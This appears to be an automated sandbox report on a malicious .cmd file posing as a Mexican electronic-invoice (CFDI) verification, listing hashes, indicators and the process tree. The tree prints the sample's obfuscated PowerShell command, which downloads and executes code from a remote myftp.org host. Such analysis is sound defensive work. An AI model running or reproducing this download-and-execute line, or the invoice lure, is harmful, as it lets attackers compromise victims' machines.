651f8b352509f3dd1a92ad7417bf89a733ab85a12b9e136f3b920677a0dedfaf

Analysis

Target

do-master/Verificacfdi.facturaelectronica.emision.cmd
Size

412B
MD5

fc68a566b6eec162cedf8d4ec6d7e00e
SHA1

7fc6706af1d7a63262f99734922228656a6fa300
SHA256

99670c0c832be53b90e0c52cdb385a926346e36642b876296f0be9f01b81decc
SHA512

4276ad4a487034a6d32985958fc0380e585c99b248dbd8ae0852e3af5b71d820f1e129bf0e0342e801b29cc0aae3ce37352086de22a93e763c659da450979489

Score

5^/10

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1928 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1928 powershell.exe

pid	process
1928	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1928	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1012 wrote to memory of 1748	1012	cmd.exe	cmd.exe
PID 1012 wrote to memory of 1748	1012	cmd.exe	cmd.exe
PID 1012 wrote to memory of 1748	1012	cmd.exe	cmd.exe
PID 1012 wrote to memory of 1928	1012	cmd.exe	powershell.exe
PID 1012 wrote to memory of 1928	1012	cmd.exe	powershell.exe
PID 1012 wrote to memory of 1928	1012	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\do-master\Verificacfdi.facturaelectronica.emision.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://tma8sjw.myftp.org/mx/a9Y0P6X9y9f1d5uayNa/kk/a9Y0P6X9y9f1d5uayNa')"); "
2⤵
PID:1748

memory/1748-54-0x0000000000000000-mapping.dmp

Download
memory/1928-55-0x0000000000000000-mapping.dmp

Download
memory/1928-56-0x000007FEFC4D1000-0x000007FEFC4D3000-memory.dmp

Filesize
8KB

Download
memory/1928-57-0x000007FEF3F40000-0x000007FEF4A9D000-memory.dmp

Filesize
11.4MB

Download
memory/1928-58-0x00000000027D4000-0x00000000027D7000-memory.dmp

Filesize
12KB

Download
memory/1928-59-0x000000001B800000-0x000000001BAFF000-memory.dmp

Filesize
3.0MB

Download
memory/1928-60-0x00000000027DB000-0x00000000027FA000-memory.dmp

Filesize
124KB

Download